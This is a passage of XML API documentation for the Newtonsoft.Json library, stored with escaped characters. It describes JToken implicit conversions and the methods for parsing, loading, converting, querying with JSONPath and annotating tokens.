conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTimeOffset})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.System#Dynamic#IDynamicMetaObjectProvider#GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of 